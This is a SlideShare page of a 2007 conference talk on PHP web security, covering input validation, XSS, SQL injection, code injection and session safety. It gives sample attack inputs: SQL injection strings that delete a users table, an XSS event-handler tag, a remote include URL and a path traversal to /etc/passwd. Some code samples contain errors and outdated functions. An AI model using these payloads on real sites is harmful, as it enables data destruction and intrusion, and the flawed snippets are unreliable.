SlideShare a Scribd company logo
OSScamp, Impetus Noida, Sept,’07
      Anish & Mugdha
      Value One InfoTech
Topics of Discussion

   Importance of PHP Security

   Concerns of   PHP Security
                 Input Validation
                 Cross-Site Scripting
                 SQL Injection
                 Code Injection
                 Session Security
                 Shared Hosting
Importance of PHP Security

   PHP is widely used language for web applications

   PHP is making headway into enterprise as well as corporate
    markets.

   Most effective & often overlooked measure to prevent malicious
    users

   PHP applications often end up working with sensitive data.
Php Security By Mugdha And Anish
Input Validation

   All user inputs are unreliable and can’t be trusted.

   Need for validating any user input before use :

          Unexpected Modification by the user
          Intentional attempt to gain unauthorized access to the
           application
          Attempt to crash the application by the malicious users
Register Globals

   Most common source of vulnerabilities in PHP applications.

    Any input parameters are translated to variables :-
    ?foo=bar >> $foo = “bar”;

   No way to determine the input source.
         Prioritized sources like cookies can overwrite GET values.

    When register global is set ON, un-initialized variables can be “injected” via user
    inputs.
Solutions To Register Globals

   Disable register_globals in PHP.ini (Disabled by-default as of   PHP 4.2.0)

   Alternative to Register Global : SUPER GLOBALS
        $_GET – data from get requests.
        $_POST – post request data.
        $_COOKIE – cookie information.
        $_FILES – uploaded file data.
        $_SERVER – server data
        $_ENV – environment variables
        $_REQUEST – mix of GET, POST, COOKIE
Contd…

   Type sensitive validation conditions.
       Because input is always a string, type sensitive compare to a Boolean or
        an integer will always fail.


   Example
    if ($authorized === TRUE)
    {
        // LOGIN SUCCESS
    }
Contd…

   Code with error_reporting set to E_ALL.
     Allows you to see warnings about the use of un-initialized
       variables.

   Use of constants
     Created via define() function
     Once set, remains defined until end of request
     Can be made case-insensitive to avoid accidental access to a
        different datum caused by case variance.
Cons of $ REQUEST

   Suffers from the loss of data problem, caused when the same parameter is
    provided by multiple input sources.

   PHP.ini: variables_order = GPCS (Last data source has highest priority)

   Example
        echo $_GET['id']; // 1
         echo $_COOKIE['id']; // 2
         echo $_REQUEST['id']; // 2

   Use the input method-specific superglobals intead of $_REQUEST
Numeric Data Validation

   All data passed to PHP (GET/POST/COOKIE) ends up being a string. Using
    strings where integers are needed is not only inefficient but also dangerous.

   Casting is a simple and very efficient way to ensure that variables contain
    numeric values.

   Example of floating point number validation
    if (!empty($_GET['price'])) {
                $price = (float) $_GET['price'];
    }     else $price = 0;
String Validation

   PHP comes with a ctype, extension that offers a very quick mechanism for
    validating string content.

         if (!ctype_alnum($_GET['login'])) {
                   echo "Only A-Za-z0-9 are allowed.";
         }
         if (!ctype_alpha($_GET['captcha'])) {
                   echo "Only A-Za-z are allowed.";
         }
         if (!ctype_xdigit($_GET['color'])) {
                   echo "Only hexadecimal values are allowed";
         }
Using Magic Quotes

 What are Magic Quotes ??

 Problems associated with it !!


 How to deal with it ??
Php Security By Mugdha And Anish
Cross Site Scripting (XSS)

 Cross Site Scripting (XSS) is a situation where by attacker injects HTML
  code, which is then displayed on the page without further validation.

       Can lead to embarrassment
       Session take-over
       Password theft
       User tracking by 3rd parties
Preventing XSS

 Prevention of XSS is as simple as filtering input data via one of
  the following:

     htmlspecialchars()
        Encodes ‘, “, <, >, &
     htmlentities()
        Convert anything that there is HTML entity for.
     strip_tags()
        Strips anything that resembles HTML tag.

     Tag allowances in strip_tags() are dangerous, because attributes
      of those tags are not being validated in any way.
Preventing XSS
 $str = strip_tags($_POST['message']);

 // encode any foreign & special chars
        $str = htmlentities($str);

 // strip tags can be told to "keep" certain tags
         $str = strip_tags($_POST['message'], '<b><p><i><u>');

 // tag allowance problems
        <u onmouseover="alert('JavaScript is allowed');">
        <b style="font-size: 500px">Lot's of text</b>
        </u>
Php Security By Mugdha And Anish
SQL Injection
   SQL injection is similar to XSS, in the fact that not validated data
    is being used. But in this case this data is passed to the database.

        Arbitrary query execution
          Removal of data.
          Modification of existing values.
          Denial of service.
          Arbitrary data injection.

   // consider this query, it will delete all records from users

$name = “mugdha’; DELETE FROM users;”;
mysql_query(“SELECT * FROM users WHERE name =’{$name}’”);
SQL Escaping

 If your database extension offers a specific escaping function then
  always use it; instead of other methods

     MySQL
         mysql_escape_string()
         mysql_real_escape_string()
     PostgreSQL
         pg_escape_string()
         pg_escape_bytea()
     SQLite
         sqlite_escape_string()
SQL Escaping in Practice

 // undo magic_quotes_gpc to avoid double escaping
  if (get_magic_quotes_gpc()) {
        $_GET['name'] = stripslashes($_GET['name'];
        $_POST['binary'] = stripslashes($_GET['binary']);
  }

  $name = pg_escape_string($_GET['name']);
  $binary = pg_escape_bytea($_POST['binary']);

  pg_query($db, "INSERT INTO tbl (name,image)
             VALUES('{$name}', '{$image}')");
Escaping Shortfall

 When un-quoted integers are passed to SQL queries, escaping functions
  won’t save you, since there are no special chars to escape.

 http://example.com/db.php?id=0;DELETE%20FROM%20users

 <?php
   $id = sqlite_escape_string($_GET['id']);
   // $id is still 0;DELETE FROM users
   sqlite_query($db,"SELECT * FROM users WHERE id={$id}");
   // Bye Bye user data...
  ?>
Prepared Statements
 Prepared statements are a mechanism to secure and optimize execution
  of repeated queries.

 Works by making SQL “compile” the query and then substitute in the
  changing values for each execution.
    Increased performance, one compile vs one per query.
    Better security, data is “type set” will never be evaluated as
     separate query.
    Supported by most database systems.

 MySQL users will need to use version 4.1 or higher.
 SQLite extension does not support this either.
Prepared Statements
   <?php
    $data = "Here is some text to index";
    pg_query($db, "PREPARE my_stmt (text) AS
    INSERT INTO search_idx (word) VALUES($1)");
    foreach (explode(" ", $data) as $word) {// no is escaping needed
                    pg_query($db, "EXECUTE my_stmt({$word})");
    }
    // de-allocte the prepared statement
    pg_query($db, "DEALLOCATE my_stmt");
?>
 Unless explicitly removed, prepared statements “stay alive”
between persistent connections.
Php Security By Mugdha And Anish
Code Injection

 Code Injection is the execution of arbitrary local or remote code.

 The two of the most common sources of code injection are:
    Dynamic paths/files used in require/include statements
    eval(): A major source of code injection is the improper validation of
     eval().
Code Injection Prevention
  Avoid using dynamic or relative paths/files in your code. Although somewhat less
   convenient; always use full paths, defined by constants, which will prevent attacks
   like these:
 <?php
     //dynamic path
     $_GET['path'] = ‘http://bad_site.org’;
     include "{$_GET['path']}/header.inc";
     //dynamic file
     $_GET[‘interface’] = ‘../../../../../etc/passwd’;
require‘home/mbr/profile/templates_c/interfaces/’.$_GET[‘interface’];
?>
 There are some other ways to secure include or require calls...
Code Injection Prevention
 work with a white-list of acceptable values.
  //create an array of acceptable file names
    $tmpl = array();

    foreach(glob("templates/*.tmpl") as $v) {
       $tmpl[md5($v)] = $v;
    }

    if (isset($tmpl[$_GET['path']])) {
        $fp = fopen($tmpl[$_GET['path']], "r");
    }
Php Security By Mugdha And Anish
Session Security

   Sessions are a common tool for user tracking across a web site.

   For the duration of a visit, the session is effectively the user’s identity.

   If an active session can be obtained by 3rd party, it can assume the identity of
    the user who’s session was compromised.
Securing Session ID
 To prevent session id theft, the id can be altered on every request,
  invalidating old values.
   <?php
      session_start();
      if (!empty($_SESSION)) { // not a new session
      session_regenerate_id(TRUE); // make new session id
      }
   ?>
 Because the session changes on every request, the “back” button
  in a browser will no longer work, as it will make a request with
  the old session id.
Session Validation
 Another session security technique is to compare the browser signature
  headers.
   session_start();
   $chk = @md5(
             $_SERVER['HTTP_ACCEPT_CHARSET'] .
             $_SERVER['HTTP_ACCEPT_ENCODING'] .
             $_SERVER['HTTP_ACCEPT_LANGUAGE'] .
             $_SERVER['HTTP_USER_AGENT']);
   if (empty($_SESSION))
                $_SESSION['key'] = $chk;
   else if ($_SESSION['key'] != $chk)
                session_destroy();
Safer Session Storage

 By default PHP sessions are stored as files inside the common /
  tmp directory.

 This often means any user on the system could see active sessions and
  “acquire” them or even modify their content.

 Solutions?
        Separate session storage directory via
              session.save_path
        Database storage mechanism, mysql, pgsql, oci, sqlite.
        Custom session handler allowing data storage anywhere.
Php Security By Mugdha And Anish
Shared Hosting

   Most PHP applications run in shared environments where
    all users “share” the same web server instances.

   This means that all files that are involved in serving content
    must be accessible to the web server (world readable).

   Consequently it means that any user could read the content
    of files of all other users.
The PHP Solution

 PHP’s solution to this problem are 2 php.ini directives.

 open_basedir – limits file access to one or more specified directories.
    Relatively Efficient.
    Uncomplicated.

 safe_mode – limits file access based on uid/gid of running script
  and file to be accessed.
    Slow and complex approach.
    Can be bypassed with little effort.
References


 php|architect’s Guide to PHP Security
       By Ilia Alshanetsky

 Essential PHP Security
      By Chris Shiflett
T hank you!


For more information, contact us:
OSSCube
India: +91 995 809 0987
USA: +1 919 791 5427
Web: www.osscube.com
Mail: info@osscube.com

More Related Content

PDF
Php Security
KEY
PHP security audits
PPT
PHP Security
PPS
PHP Security
PDF
10 Rules for Safer Code
PPS
Php Security3895
PPTX
Let's write secure Drupal code! - DrupalCamp London 2019
ODP
Concern of Web Application Security
Php Security
PHP security audits
PHP Security
PHP Security
10 Rules for Safer Code
Php Security3895
Let's write secure Drupal code! - DrupalCamp London 2019
Concern of Web Application Security

What's hot (19)

ODP
My app is secure... I think
PDF
Error Reporting in ZF2: form messages, custom error pages, logging
PPTX
Web Security - Hands-on
PDF
Create a res tful services api in php.
PPT
Eight simple rules to writing secure PHP programs
PPT
Jquery presentation
PPTX
Object Oriented Programming Basics with PHP
PDF
Dependency Injection with PHP 5.3
PDF
Php tips-and-tricks4128
PDF
New methods for exploiting ORM injections in Java applications
PDF
Introduction to Active Record - Silicon Valley Ruby Conference 2007
PDF
Quebec pdo
PDF
Proposed PHP function: is_literal()
PDF
Php Security - OWASP
PPTX
Introduction to PHP Lecture 1
ODP
My app is secure... I think
PPTX
Basics of Java Script (JS)
PPT
Framework
PPT
Corephpcomponentpresentation 1211425966721657-8
My app is secure... I think
Error Reporting in ZF2: form messages, custom error pages, logging
Web Security - Hands-on
Create a res tful services api in php.
Eight simple rules to writing secure PHP programs
Jquery presentation
Object Oriented Programming Basics with PHP
Dependency Injection with PHP 5.3
Php tips-and-tricks4128
New methods for exploiting ORM injections in Java applications
Introduction to Active Record - Silicon Valley Ruby Conference 2007
Quebec pdo
Proposed PHP function: is_literal()
Php Security - OWASP
Introduction to PHP Lecture 1
My app is secure... I think
Basics of Java Script (JS)
Framework
Corephpcomponentpresentation 1211425966721657-8
Ad

Viewers also liked (11)

PDF
Advanced Php - Macq Electronique 2010
PDF
Advanced PHP: Design Patterns - Dennis-Jan Broerse
 
ODP
PHP Web Programming
PDF
Introduction to PHP
PPTX
PHP Powerpoint -- Teach PHP with this
PPTX
PHP Advanced
PDF
Advanced PHP Simplified
PPSX
Advanced PHP Web Development Tools in 2015
PDF
Advanced php testing in action
PPSX
DIWE - Advanced PHP Concepts
PPT
Php Presentation
Advanced Php - Macq Electronique 2010
Advanced PHP: Design Patterns - Dennis-Jan Broerse
 
PHP Web Programming
Introduction to PHP
PHP Powerpoint -- Teach PHP with this
PHP Advanced
Advanced PHP Simplified
Advanced PHP Web Development Tools in 2015
Advanced php testing in action
DIWE - Advanced PHP Concepts
Php Presentation
Ad

Similar to Php Security By Mugdha And Anish (20)

PPS
Php security3895
PPT
Php & Web Security - PHPXperts 2009
PDF
Intro to Php Security
PPT
Security.ppt
PPT
12-security.ppt - PHP and Arabic Language - Index
PPT
PHPUG Presentation
PDF
Security in PHP Applications: An absolute must!
ODP
My app is secure... I think
PDF
null Bangalore meet - Php Security
PDF
Security 202 - Are you sure your site is secure?
PDF
Http and security
PPT
Php My Sql Security 2007
ODP
Security In PHP Applications
PDF
PHP Secure Programming
PDF
Secure PHP Coding
PDF
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
PDF
My app is secure... I think
PPT
Php security
PPTX
Secure Programming In Php
PPTX
Secure programming with php
Php security3895
Php & Web Security - PHPXperts 2009
Intro to Php Security
Security.ppt
12-security.ppt - PHP and Arabic Language - Index
PHPUG Presentation
Security in PHP Applications: An absolute must!
My app is secure... I think
null Bangalore meet - Php Security
Security 202 - Are you sure your site is secure?
Http and security
Php My Sql Security 2007
Security In PHP Applications
PHP Secure Programming
Secure PHP Coding
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
My app is secure... I think
Php security
Secure Programming In Php
Secure programming with php

More from OSSCube (20)

PPTX
High Availability Using MySQL Group Replication
PPTX
Accelerate Your Digital Transformation Journey with Pimcore
PPTX
Migrating Legacy Applications to AWS Cloud: Strategies and Challenges
PPTX
Why Does Omnichannel Experience Matter to Your Customers
PPTX
Using MySQL Fabric for High Availability and Scaling Out
PPTX
Webinar: Five Ways a Technology Refresh Strategy Can Help Make Your Digital T...
PPTX
Cutting Through the Disruption
PPTX
Legacy to industry leader: a modernization case study
PPTX
Marketing and Sales together at last
PPTX
Using pim to maximize revenue and improve customer satisfaction
PPTX
Talend for the Enterprise
PPTX
Ahead of the Curve
PPTX
Non functional requirements. do we really care…?
PPTX
Learning from experience: Collaborative Journey towards CMMI
PPTX
Exploiting JXL using Selenium
PPTX
Introduction to AWS
PPTX
Maria DB Galera Cluster for High Availability
PDF
Talend Open Studio Introduction - OSSCamp 2014
PDF
Performance Testing Session - OSSCamp 2014
PDF
Job Queue Presentation - OSSCamp 2014
High Availability Using MySQL Group Replication
Accelerate Your Digital Transformation Journey with Pimcore
Migrating Legacy Applications to AWS Cloud: Strategies and Challenges
Why Does Omnichannel Experience Matter to Your Customers
Using MySQL Fabric for High Availability and Scaling Out
Webinar: Five Ways a Technology Refresh Strategy Can Help Make Your Digital T...
Cutting Through the Disruption
Legacy to industry leader: a modernization case study
Marketing and Sales together at last
Using pim to maximize revenue and improve customer satisfaction
Talend for the Enterprise
Ahead of the Curve
Non functional requirements. do we really care…?
Learning from experience: Collaborative Journey towards CMMI
Exploiting JXL using Selenium
Introduction to AWS
Maria DB Galera Cluster for High Availability
Talend Open Studio Introduction - OSSCamp 2014
Performance Testing Session - OSSCamp 2014
Job Queue Presentation - OSSCamp 2014

Recently uploaded (20)

PPTX
ChatGPT's Deck on The Enduring Legacy of Fax Machines
PDF
creating-agentic-ai-solutions-leveraging-aws.pdf
PDF
Transforming Manufacturing operations through Intelligent Integrations
PDF
Using Anchore and DefectDojo to Stand Up Your DevSecOps Function
PDF
Why Endpoint Security Is Critical in a Remote Work Era?
PDF
Smarter Business Operations Powered by IoT Remote Monitoring
PDF
Building High-Performance Oracle Teams: Strategic Staffing for Database Manag...
PDF
BLW VOCATIONAL TRAINING SUMMER INTERNSHIP REPORT
PDF
Software Development Methodologies in 2025
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
solutions_manual_-_materials___processing_in_manufacturing__demargo_.pdf
PPTX
Comunidade Salesforce São Paulo - Desmistificando o Omnistudio (Vlocity)
PDF
DevOps & Developer Experience Summer BBQ
PDF
GamePlan Trading System Review: Professional Trader's Honest Take
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PPTX
breach-and-attack-simulation-cybersecurity-india-chennai-defenderrabbit-2025....
PDF
CIFDAQ's Teaching Thursday: Moving Averages Made Simple
PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PDF
SparkLabs Primer on Artificial Intelligence 2025
PDF
Security features in Dell, HP, and Lenovo PC systems: A research-based compar...
ChatGPT's Deck on The Enduring Legacy of Fax Machines
creating-agentic-ai-solutions-leveraging-aws.pdf
Transforming Manufacturing operations through Intelligent Integrations
Using Anchore and DefectDojo to Stand Up Your DevSecOps Function
Why Endpoint Security Is Critical in a Remote Work Era?
Smarter Business Operations Powered by IoT Remote Monitoring
Building High-Performance Oracle Teams: Strategic Staffing for Database Manag...
BLW VOCATIONAL TRAINING SUMMER INTERNSHIP REPORT
Software Development Methodologies in 2025
Understanding_Digital_Forensics_Presentation.pptx
solutions_manual_-_materials___processing_in_manufacturing__demargo_.pdf
Comunidade Salesforce São Paulo - Desmistificando o Omnistudio (Vlocity)
DevOps & Developer Experience Summer BBQ
GamePlan Trading System Review: Professional Trader's Honest Take
NewMind AI Weekly Chronicles - August'25 Week I
breach-and-attack-simulation-cybersecurity-india-chennai-defenderrabbit-2025....
CIFDAQ's Teaching Thursday: Moving Averages Made Simple
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
SparkLabs Primer on Artificial Intelligence 2025
Security features in Dell, HP, and Lenovo PC systems: A research-based compar...

Php Security By Mugdha And Anish

  • 1. OSScamp, Impetus Noida, Sept,’07 Anish & Mugdha Value One InfoTech
  • 2. Topics of Discussion  Importance of PHP Security  Concerns of PHP Security  Input Validation  Cross-Site Scripting  SQL Injection  Code Injection  Session Security  Shared Hosting
  • 3. Importance of PHP Security  PHP is widely used language for web applications  PHP is making headway into enterprise as well as corporate markets.  Most effective & often overlooked measure to prevent malicious users  PHP applications often end up working with sensitive data.
  • 5. Input Validation  All user inputs are unreliable and can’t be trusted.  Need for validating any user input before use :  Unexpected Modification by the user  Intentional attempt to gain unauthorized access to the application  Attempt to crash the application by the malicious users
  • 6. Register Globals  Most common source of vulnerabilities in PHP applications.  Any input parameters are translated to variables :- ?foo=bar >> $foo = “bar”;  No way to determine the input source.  Prioritized sources like cookies can overwrite GET values.  When register global is set ON, un-initialized variables can be “injected” via user inputs.
  • 7. Solutions To Register Globals  Disable register_globals in PHP.ini (Disabled by-default as of PHP 4.2.0)  Alternative to Register Global : SUPER GLOBALS  $_GET – data from get requests.  $_POST – post request data.  $_COOKIE – cookie information.  $_FILES – uploaded file data.  $_SERVER – server data  $_ENV – environment variables  $_REQUEST – mix of GET, POST, COOKIE
  • 8. Contd…  Type sensitive validation conditions.  Because input is always a string, type sensitive compare to a Boolean or an integer will always fail.  Example if ($authorized === TRUE) { // LOGIN SUCCESS }
  • 9. Contd…  Code with error_reporting set to E_ALL.  Allows you to see warnings about the use of un-initialized variables.  Use of constants  Created via define() function  Once set, remains defined until end of request  Can be made case-insensitive to avoid accidental access to a different datum caused by case variance.
  • 10. Cons of $ REQUEST  Suffers from the loss of data problem, caused when the same parameter is provided by multiple input sources.  PHP.ini: variables_order = GPCS (Last data source has highest priority)  Example echo $_GET['id']; // 1 echo $_COOKIE['id']; // 2 echo $_REQUEST['id']; // 2  Use the input method-specific superglobals intead of $_REQUEST
  • 11. Numeric Data Validation  All data passed to PHP (GET/POST/COOKIE) ends up being a string. Using strings where integers are needed is not only inefficient but also dangerous.  Casting is a simple and very efficient way to ensure that variables contain numeric values.  Example of floating point number validation if (!empty($_GET['price'])) { $price = (float) $_GET['price']; } else $price = 0;
  • 12. String Validation  PHP comes with a ctype, extension that offers a very quick mechanism for validating string content. if (!ctype_alnum($_GET['login'])) { echo "Only A-Za-z0-9 are allowed."; } if (!ctype_alpha($_GET['captcha'])) { echo "Only A-Za-z are allowed."; } if (!ctype_xdigit($_GET['color'])) { echo "Only hexadecimal values are allowed"; }
  • 13. Using Magic Quotes  What are Magic Quotes ??  Problems associated with it !!  How to deal with it ??
  • 15. Cross Site Scripting (XSS)  Cross Site Scripting (XSS) is a situation where by attacker injects HTML code, which is then displayed on the page without further validation.  Can lead to embarrassment  Session take-over  Password theft  User tracking by 3rd parties
  • 16. Preventing XSS  Prevention of XSS is as simple as filtering input data via one of the following:  htmlspecialchars() Encodes ‘, “, <, >, &  htmlentities() Convert anything that there is HTML entity for.  strip_tags() Strips anything that resembles HTML tag.  Tag allowances in strip_tags() are dangerous, because attributes of those tags are not being validated in any way.
  • 17. Preventing XSS  $str = strip_tags($_POST['message']);  // encode any foreign & special chars $str = htmlentities($str);  // strip tags can be told to "keep" certain tags $str = strip_tags($_POST['message'], '<b><p><i><u>');  // tag allowance problems <u onmouseover="alert('JavaScript is allowed');"> <b style="font-size: 500px">Lot's of text</b> </u>
  • 19. SQL Injection  SQL injection is similar to XSS, in the fact that not validated data is being used. But in this case this data is passed to the database.  Arbitrary query execution  Removal of data.  Modification of existing values.  Denial of service.  Arbitrary data injection.  // consider this query, it will delete all records from users $name = “mugdha’; DELETE FROM users;”; mysql_query(“SELECT * FROM users WHERE name =’{$name}’”);
  • 20. SQL Escaping  If your database extension offers a specific escaping function then always use it; instead of other methods  MySQL  mysql_escape_string()  mysql_real_escape_string()  PostgreSQL  pg_escape_string()  pg_escape_bytea()  SQLite  sqlite_escape_string()
  • 21. SQL Escaping in Practice  // undo magic_quotes_gpc to avoid double escaping if (get_magic_quotes_gpc()) { $_GET['name'] = stripslashes($_GET['name']; $_POST['binary'] = stripslashes($_GET['binary']); } $name = pg_escape_string($_GET['name']); $binary = pg_escape_bytea($_POST['binary']); pg_query($db, "INSERT INTO tbl (name,image) VALUES('{$name}', '{$image}')");
  • 22. Escaping Shortfall  When un-quoted integers are passed to SQL queries, escaping functions won’t save you, since there are no special chars to escape.  http://example.com/db.php?id=0;DELETE%20FROM%20users  <?php $id = sqlite_escape_string($_GET['id']); // $id is still 0;DELETE FROM users sqlite_query($db,"SELECT * FROM users WHERE id={$id}"); // Bye Bye user data... ?>
  • 23. Prepared Statements  Prepared statements are a mechanism to secure and optimize execution of repeated queries.  Works by making SQL “compile” the query and then substitute in the changing values for each execution.  Increased performance, one compile vs one per query.  Better security, data is “type set” will never be evaluated as separate query.  Supported by most database systems.  MySQL users will need to use version 4.1 or higher.  SQLite extension does not support this either.
  • 24. Prepared Statements  <?php $data = "Here is some text to index"; pg_query($db, "PREPARE my_stmt (text) AS INSERT INTO search_idx (word) VALUES($1)"); foreach (explode(" ", $data) as $word) {// no is escaping needed pg_query($db, "EXECUTE my_stmt({$word})"); } // de-allocte the prepared statement pg_query($db, "DEALLOCATE my_stmt"); ?> Unless explicitly removed, prepared statements “stay alive” between persistent connections.
  • 26. Code Injection  Code Injection is the execution of arbitrary local or remote code.  The two of the most common sources of code injection are:  Dynamic paths/files used in require/include statements  eval(): A major source of code injection is the improper validation of eval().
  • 27. Code Injection Prevention  Avoid using dynamic or relative paths/files in your code. Although somewhat less convenient; always use full paths, defined by constants, which will prevent attacks like these:  <?php //dynamic path $_GET['path'] = ‘http://bad_site.org’; include "{$_GET['path']}/header.inc"; //dynamic file $_GET[‘interface’] = ‘../../../../../etc/passwd’; require‘home/mbr/profile/templates_c/interfaces/’.$_GET[‘interface’]; ?>  There are some other ways to secure include or require calls...
  • 28. Code Injection Prevention  work with a white-list of acceptable values. //create an array of acceptable file names $tmpl = array(); foreach(glob("templates/*.tmpl") as $v) { $tmpl[md5($v)] = $v; } if (isset($tmpl[$_GET['path']])) { $fp = fopen($tmpl[$_GET['path']], "r"); }
  • 30. Session Security  Sessions are a common tool for user tracking across a web site.  For the duration of a visit, the session is effectively the user’s identity.  If an active session can be obtained by 3rd party, it can assume the identity of the user who’s session was compromised.
  • 31. Securing Session ID  To prevent session id theft, the id can be altered on every request, invalidating old values. <?php session_start(); if (!empty($_SESSION)) { // not a new session session_regenerate_id(TRUE); // make new session id } ?>  Because the session changes on every request, the “back” button in a browser will no longer work, as it will make a request with the old session id.
  • 32. Session Validation  Another session security technique is to compare the browser signature headers. session_start(); $chk = @md5( $_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT']); if (empty($_SESSION)) $_SESSION['key'] = $chk; else if ($_SESSION['key'] != $chk) session_destroy();
  • 33. Safer Session Storage  By default PHP sessions are stored as files inside the common / tmp directory.  This often means any user on the system could see active sessions and “acquire” them or even modify their content.  Solutions?  Separate session storage directory via session.save_path  Database storage mechanism, mysql, pgsql, oci, sqlite.  Custom session handler allowing data storage anywhere.
  • 35. Shared Hosting  Most PHP applications run in shared environments where all users “share” the same web server instances.  This means that all files that are involved in serving content must be accessible to the web server (world readable).  Consequently it means that any user could read the content of files of all other users.
  • 36. The PHP Solution  PHP’s solution to this problem are 2 php.ini directives.  open_basedir – limits file access to one or more specified directories.  Relatively Efficient.  Uncomplicated.  safe_mode – limits file access based on uid/gid of running script and file to be accessed.  Slow and complex approach.  Can be bypassed with little effort.
  • 37. References  php|architect’s Guide to PHP Security  By Ilia Alshanetsky  Essential PHP Security  By Chris Shiflett
  • 38. T hank you! For more information, contact us: OSSCube India: +91 995 809 0987 USA: +1 919 791 5427 Web: www.osscube.com Mail: [email protected]